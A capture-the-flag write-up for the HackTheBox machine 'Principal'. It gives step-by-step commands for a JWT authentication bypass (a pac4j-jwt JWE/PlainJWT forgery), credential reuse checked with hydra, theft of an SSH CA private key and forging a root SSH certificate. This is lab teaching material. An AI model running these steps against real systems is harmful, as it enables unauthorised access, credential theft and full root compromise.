Skip to content
HackIndex logo

HackIndex

Principal Writeup - HackTheBox

Medium Linux

Last updated May 10, 2026 3 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
8080/tcp open  http-proxy Jetty
| http-title: Principal Internal Platform - Login
|_http-server-header: Jetty
| X-Powered-By: pac4j-jwt/6.0.3

Port 8080 runs a Java web application on Jetty. The X-Powered-By header immediately discloses the authentication framework and version: pac4j-jwt/6.0.3.

Initial Access

CVE-2026-29000 — pac4j-jwt JWE PlainJWT Authentication Bypass

CVE-2026-29000 affects pac4j-jwt versions before 4.5.9/5.7.9/6.3.3. When the server is configured to accept both JWE-encrypted and JWS-signed tokens, an attacker can wrap an unsigned PlainJWT inside a JWE envelope using only the server's RSA public key. The JWE layer decrypts successfully, but the inner PlainJWT bypasses signature verification entirely — allowing token forgery with no private key required.

The server exposes its public key at the JWKS endpoint:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8080/api/auth/jwks

The exploit fetches the JWKS, wraps an arbitrary PlainJWT claiming admin / ROLE_ADMIN inside JWE, and presents it as a bearer token.

Notice

One important detail: the JWT timestamp validation checks clock skew. Synchronise the local clock to the server's time before running the exploit:

┌──(kali㉿kali)-[~]
└─$ sudo date -s "$(curl -sI $TARGET_IP:8080 | grep -i '^Date:' | cut -d' ' -f2-)"

Then run the exploit:

┌──(kali㉿kali)-[~]
└─$ python3 exp.py http://$TARGET_IP:8080 --user admin --role ROLE_ADMIN
[*] Fetching JWKS from http://$TARGET_IP:8080/api/auth/jwks...
[+] Found RSA public key (kid: enc-key-1)
[*] Crafted PlainJWT for 'admin' with role 'ROLE_ADMIN'
[+] Forged JWE token successfully
[+] Final Token: eyJhbGci...
[*] Accessing http://$TARGET_IP:8080/api/dashboard...
[+] Success! Status: 200
[+] Authenticated as: admin (ROLE_ADMIN)

Set the token in an environment variable for subsequent requests:

┌──(kali㉿kali)-[~]
└─$ export JWT="<forged token>"

API Enumeration

With admin access, enumerate available endpoints. The /api/users endpoint reveals a service account:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8080/api/users -H "Authorization: Bearer $JWT" | jq .
{
  "username": "svc-deploy",
  "note": "Service account for automated deployments via SSH certificate auth.",
  "role": "deployer"
}

The /api/settings endpoint leaks a credential in plaintext:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8080/api/settings -H "Authorization: Bearer $JWT" | jq .
{
  "security": {
    "encryptionKey": "$SVC_DEPLOY_PASSWORD",
    "sshCaPath": "/opt/principal/ssh/"
  }
}

SSH as svc-deploy

The encryptionKey value is reused as the SSH password for svc-deploy. Confirm with hydra across all enumerated users:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -p '$SVC_DEPLOY_PASSWORD' ssh://$TARGET_IP
[22][ssh] host: $TARGET_IP   login: svc-deploy   password: $SVC_DEPLOY_PASSWORD
┌──(kali㉿kali)-[~]
└─$ ssh svc-deploy@$TARGET_IP

Privilege Escalation

SSH CA Key Theft

The svc-deploy user belongs to the deployers group. Enumerate files accessible to this group:

┌──(kali㉿kali)-[~]
└─$ find / -group deployers -readable 2>/dev/null
/etc/ssh/sshd_config.d/60-principal.conf
/opt/principal/ssh
/opt/principal/ssh/README.txt
/opt/principal/ssh/ca

The SSH daemon configuration confirms certificate-based authentication is active:

┌──(kali㉿kali)-[~]
└─$ cat /etc/ssh/sshd_config.d/60-principal.conf
TrustedUserCAKeys /opt/principal/ssh/ca.pub

The CA private key at /opt/principal/ssh/ca is readable by svc-deploy. Copy it to the attacker machine:

┌──(kali㉿kali)-[~]
└─$ # On attacker machine
┌──(kali㉿kali)-[~]
└─$ scp svc-deploy@$TARGET_IP:/opt/principal/ssh/ca ca.key
┌──(kali㉿kali)-[~]
└─$ chmod 600 ca.key

Forging an SSH Certificate for root

With the CA private key, generate a new keypair and sign it as root:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f root_cert -N ""
┌──(kali㉿kali)-[~]
└─$ ssh-keygen -s ca.key -I "root" -n root root_cert.pub
Signed user key root_cert-cert.pub: id "root" serial 0 for root valid forever

SSH in as root using the signed certificate:

┌──(kali㉿kali)-[~]
└─$ ssh -i root_cert root@$TARGET_IP
root@principal:~#

Root shell.

References